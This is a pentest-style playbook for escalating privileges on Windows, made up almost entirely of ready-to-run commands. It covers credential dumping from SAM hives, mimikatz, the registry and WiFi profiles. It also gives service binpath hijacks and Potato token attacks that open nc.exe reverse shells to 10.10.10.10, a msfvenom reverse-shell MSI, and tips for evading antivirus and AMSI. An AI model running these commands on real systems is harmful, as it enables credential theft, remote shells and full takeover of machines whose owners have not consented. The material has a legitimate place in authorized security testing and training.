Windows Privilege Escalation
Purpose
Provide systematic methodologies for discovering and exploiting privilege escalation vulnerabilities on Windows systems during penetration testing engagements. This skill covers system enumeration, credential harvesting, service exploitation, token impersonation, kernel exploits, and various misconfigurations that enable escalation from standard user to Administrator or SYSTEM privileges.
Inputs / Prerequisites
- Initial Access: Shell or RDP access as standard user on Windows system
- Enumeration Tools: WinPEAS, PowerUp, Seatbelt, or manual commands
- Exploit Binaries: Pre-compiled exploits or ability to transfer tools
- Knowledge: Understanding of Windows security model and privileges
- Authorization: Written permission for penetration testing activities
Outputs / Deliverables
- Privilege Escalation Path: Identified vector to higher privileges
- Credential Dump: Harvested passwords, hashes, or tokens
- Elevated Shell: Command execution as Administrator or SYSTEM
- Vulnerability Report: Documentation of misconfigurations and exploits
- Remediation Recommendations: Fixes for identified weaknesses
Core Workflow
1. System Enumeration
Basic System Information
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
wmic qfe
wmic os get osarchitecture
echo %PROCESSOR_ARCHITECTURE%
set
Get-ChildItem Env: | ft Key,Value
wmic logicaldisk get caption,description,providername
User Enumeration
whoami
echo %USERNAME%
whoami /priv
whoami /groups
whoami /all
net user
Get-LocalUser | ft Name,Enabled,LastLogon
net user administrator
net user %USERNAME%
net localgroup
net localgroup administrators
Get-LocalGroupMember Administrators | ft Name,PrincipalSource
Network Enumeration
ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
route print
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric
arp -A
netstat -ano
net share
nltest /DCLIST:DomainName
Antivirus Enumeration
WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
2. Credential Harvesting
SAM and SYSTEM Files
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system
pwdump SYSTEM SAM > sam.txt
samdump2 SYSTEM SAM -o sam.txt
john --format=NT sam.txt
HiveNightmare (CVE-2021-36934)
icacls C:\Windows\System32\config\SAM
mimikatz> token::whoami /full
mimikatz> misc::shadowcopies
mimikatz> lsadump::sam /system:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM /sam:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM
Search for Passwords
findstr /SI /M "password" *.xml *.ini *.txt
findstr /si password *.xml *.ini *.txt *.config
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr "DefaultUserName DefaultDomainName DefaultPassword"
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"
reg query "HKCU\Software\ORL\WinVNC3\Password"
reg query HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4 /v password
dir /S /B *pass*.txt == *pass*.xml == *cred* == *vnc* == *.config*
where /R C:\ *.ini
Unattend.xml Credentials
C:\unattend.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\system32\sysprep.inf
C:\Windows\system32\sysprep\sysprep.xml
dir /s *sysprep.inf *sysprep.xml *unattend.xml 2>nul
echo "U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo=" | base64 -d
WiFi Passwords
netsh wlan show profile
netsh wlan show profile <SSID> key=clear
for /f "tokens=4 delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name=%a key=clear | findstr "SSID Cipher Key" | find /v "Number" & echo.) & @echo on
PowerShell History
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw
3. Service Exploitation
Incorrect Service Permissions
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv "Everyone" * /accepteula
accesschk.exe -ucqv <service_name>
sc config <service> binpath= "C:\nc.exe -e cmd.exe 10.10.10.10 4444"
sc stop <service>
sc start <service>
Unquoted Service Paths
wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\"
wmic service get name,displayname,startmode,pathname | findstr /i /v "C:\Windows\\" | findstr /i /v """
AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f msi -o evil.msi
msiexec /quiet /qn /i C:\evil.msi
4. Token Impersonation
Check Impersonation Privileges
whoami /priv
Potato Attacks
JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c c:\tools\nc.exe 10.10.10.10 4444 -e cmd.exe" -t *
PrintSpoofer.exe -i -c cmd
RoguePotato.exe -r 10.10.10.10 -e "C:\nc.exe 10.10.10.10 4444 -e cmd.exe" -l 9999
GodPotato.exe -cmd "cmd /c whoami"
5. Kernel Exploitation
Find Kernel Vulnerabilities
systeminfo > systeminfo.txt
python wes.py systeminfo.txt
Watson.exe
powershell.exe -ExecutionPolicy Bypass -File Sherlock.ps1
Common Kernel Exploits
MS17-010 (EternalBlue) - Windows 7/2008/2003/XP
MS16-032 - Secondary Logon Handle - 2008/7/8/10/2012
MS15-051 - Client Copy Image - 2003/2008/7
MS14-058 - TrackPopupMenu - 2003/2008/7/8.1
MS11-080 - afd.sys - XP/2003
MS10-015 - KiTrap0D - 2003/XP/2000
MS08-067 - NetAPI - 2000/XP/2003
CVE-2021-1732 - Win32k - Windows 10/Server 2019
CVE-2020-0796 - SMBGhost - Windows 10
CVE-2019-1388 - UAC Bypass - Windows 7/8/10/2008/2012/2016/2019
6. Additional Techniques
DLL Hijacking
Runas with Saved Credentials
cmdkey /list
runas /savecred /user:Administrator "cmd.exe /k whoami"
runas /savecred /user:WORKGROUP\Administrator "\\10.10.10.10\share\evil.exe"
WSL Exploitation
wsl whoami
wsl --default-user root
wsl whoami
wsl python -c 'import os; os.system("/bin/bash")'
Quick Reference
Enumeration Tools
| Tool |
Command |
Purpose |
| WinPEAS |
winPEAS.exe |
Comprehensive enumeration |
| PowerUp |
Invoke-AllChecks |
Service/path vulnerabilities |
| Seatbelt |
Seatbelt.exe -group=all |
Security audit checks |
| Watson |
Watson.exe |
Missing patches |
| JAWS |
.\jaws-enum.ps1 |
Legacy Windows enum |
| PrivescCheck |
Invoke-PrivescCheck |
Privilege escalation checks |
Default Writable Folders
C:\Windows\Temp
C:\Windows\Tasks
C:\Users\Public
C:\Windows\tracing
C:\Windows\System32\spool\drivers\color
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
Common Privilege Escalation Vectors
| Vector |
Check Command |
| Unquoted paths |
wmic service get pathname | findstr /i /v """ |
| Weak service perms |
accesschk.exe -uwcqv "Everyone" * |
| AlwaysInstallElevated |
reg query HKCU\...\Installer /v AlwaysInstallElevated |
| Stored credentials |
cmdkey /list |
| Token privileges |
whoami /priv |
| Scheduled tasks |
schtasks /query /fo LIST /v |
Impersonation Privilege Exploits
| Privilege |
Tool |
Usage |
| SeImpersonatePrivilege |
JuicyPotato |
CLSID abuse |
| SeImpersonatePrivilege |
PrintSpoofer |
Spooler service |
| SeImpersonatePrivilege |
RoguePotato |
OXID resolver |
| SeBackupPrivilege |
robocopy /b |
Read protected files |
| SeRestorePrivilege |
Enable-SeRestorePrivilege |
Write protected files |
| SeTakeOwnershipPrivilege |
takeown.exe |
Take file ownership |
Constraints and Limitations
Operational Boundaries
- Kernel exploits may cause system instability
- Some exploits require specific Windows versions
- AV/EDR may detect and block common tools
- Token impersonation requires service account context
- Some techniques require GUI access
Detection Considerations
- Credential dumping triggers security alerts
- Service modification logged in Event Logs
- PowerShell execution may be monitored
- Known exploit signatures detected by AV
Legal Requirements
- Only test systems with written authorization
- Document all escalation attempts
- Avoid disrupting production systems
- Report all findings through proper channels
Examples
Example 1: Service Binary Path Exploitation
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
sc qc MyService
sc stop MyService
sc config MyService binpath= "C:\Users\Public\nc.exe 10.10.10.10 4444 -e cmd.exe"
sc start MyService
Example 2: AlwaysInstallElevated Exploitation
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f msi -o shell.msi
msiexec /quiet /qn /i C:\Users\Public\shell.msi
Example 3: JuicyPotato Token Impersonation
whoami /priv
JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c c:\users\public\nc.exe 10.10.10.10 4444 -e cmd.exe" -t * -c {F87B28F1-DA9A-4F35-8EC0-800EFCF26B83}
Example 4: Unquoted Service Path
wmic service get name,pathname | findstr /i /v """
# Result: C:\Program Files\Vuln App\service.exe
# Check write permissions
icacls "C:\Program Files\Vuln App"
# Result: Users:(W)
# Place malicious binary
copy C:\Users\Public\shell.exe "C:\Program Files\Vuln.exe"
# Restart service
sc stop "Vuln App"
sc start "Vuln App"
Example 5: Credential Harvesting from Registry
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"
runas /user:Administrator cmd.exe
Troubleshooting
| Issue |
Cause |
Solution |
| Exploit fails (AV detected) |
AV blocking known exploits |
Use obfuscated exploits; living-off-the-land (mshta, certutil); custom compiled binaries |
| Service won't start |
Binary path syntax |
Ensure space after = in binpath: binpath= "C:\path\binary.exe" |
| Token impersonation fails |
Wrong privilege/version |
Check whoami /priv; verify Windows version compatibility |
| Can't find kernel exploit |
System patched |
Run Windows Exploit Suggester: python wes.py systeminfo.txt |
| PowerShell blocked |
Execution policy/AMSI |
Use powershell -ep bypass -c "cmd" or -enc <base64> |